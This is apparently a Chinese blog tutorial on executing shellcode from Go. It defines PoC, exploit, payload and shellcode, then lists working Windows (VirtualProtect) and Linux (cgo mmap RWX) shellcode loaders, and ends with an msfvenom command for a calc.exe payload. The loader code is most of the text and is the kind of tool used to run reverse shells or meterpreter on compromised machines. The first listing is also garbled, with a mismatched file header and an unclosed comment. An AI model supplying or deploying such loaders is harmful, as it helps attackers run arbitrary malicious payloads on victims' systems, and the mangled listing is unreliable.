shellcode执行
前言
今天看到一个比较好玩的东西,虽然原理很简单,但是使用golang来做还是挺新鲜,所以还是分享给大家。
第一节
PoC、Exp、Payload与Shellcode
首先说一下PoC、Exp、Payload与Shellcode这几个概念,这在渗透测试中非常常见。
PoC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。
Exp,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。
Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。其实就是一段可以运行的二进制代码。
PoC是用来证明漏洞存在的,Exp是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了PoC,才有Exp。
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的Exp,也就是说不存在通用的Exp。
Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
今天要讲的就是使用golang 加载并执行shellcode,玩一些极客的感觉。
第二节
windows版shellcode加载器
shellcode既然是一段二进制代码,那加载器的功能则是将二进制写到内存中,并将这段内存设置为可执行,最后从头到尾执行这段代码即可。来看代码:
1// shellcode_unix.go
2package linuxshellcode
3
4/*
5// shellcode_win.go
6package winshellcode
7
8import (
9 "syscall"
10 "unsafe"
11)
12
13var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
14
15func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
16 ret, _, _ := procVirtualProtect.Call(
17 uintptr(lpAddress),
18 uintptr(dwSize),
19 uintptr(flNewProtect),
20 uintptr(lpflOldProtect))
21 return ret > 0
22}
23
24func Run(sc []byte) {
25 // TODO need a Go safe fork
26 // Make a function ptr
27 f := func() {}
28
29 // Change permissions on f function ptr
30 var oldfperms uint32
31 if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
32 panic("Call to VirtualProtect failed!")
33 }
34
35 // Override function ptr
36 **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
37
38 // Change permissions on shellcode string data
39 var oldshellcodeperms uint32
40 if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
41 panic("Call to VirtualProtect failed!")
42 }
43
44 // Call the function ptr it
45 f()
46}
代码中主要是用了windows里kernel32.dll的VirtualProtect函数。在MSDN中的定义如下:
1BOOL VirtualProtect{
2LPVOID lpAddress,
3DWORD dwsize,
4DWORD flNewProtect,
5PDWORD lpflOldProtect
6}BOOL
在代码中,我们声明一个函数,将函数指向读入的shellcode字节数据那片内存,并将内存设置为可读可写可执行,最后调用函数就将shellcode运行起来了。
第三节
linux版shellcode加载器
对于linux版shellcode加载器也是同样的原理,只是实现的方式不一样。使用C.call的方式进行调用,最本质的实现其实是在C语言中的call函数。
1// shellcode_unix.go
2package linuxshellcode
3
4/*
5#include <stdio.h>
6#include <sys/mman.h>
7#include <string.h>
8#include <unistd.h>
9
10void call(char *shellcode, size_t length) {
11 if(fork()) {
12 return;
13 }
14 unsigned char *ptr;
15 ptr = (unsigned char *) mmap(0, length, \
16 PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
17 if(ptr == MAP_FAILED) {
18 perror("mmap");
19 return;
20 }
21 memcpy(ptr, shellcode, length);
22 ( *(void(*) ()) ptr)();
23}
24*/
25import "C"
26import (
27 "unsafe"
28)
29
30func Run(sc []byte) {
31 C.call((*C.char)(unsafe.Pointer(&sc[0])), (C.size_t)(len(sc)))
32}
在call函数中,首先使用mmap生成一片可读可写可执行的匿名映射内存,然后将shellcode使用memcpy复制到这段内存中,并将这段内存的首地址强转为函数指针,直接当作函数运行即可。
mmap函数如下:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
Tips: mmap详解
https://blog.csdn.net/notbaron/article/details/80019134
第四节
编译与load shellcode
golang支持多平台编译,假如你使用win32编译的golang程序,那你的shellcode也需要是32位的,不然无法执行。那我们怎么生成shellcode呢?这就需要kali系统下的一个神器:msfvenom。咱们使用它生成一个弹出计算器的shellcode,执行如下命令:
msfvenom -p windows/exec CMD=calc.exe -f hex
将红框圈住的字符串当作参数:go_shellcode.exe 参数,运行后会弹出计算器。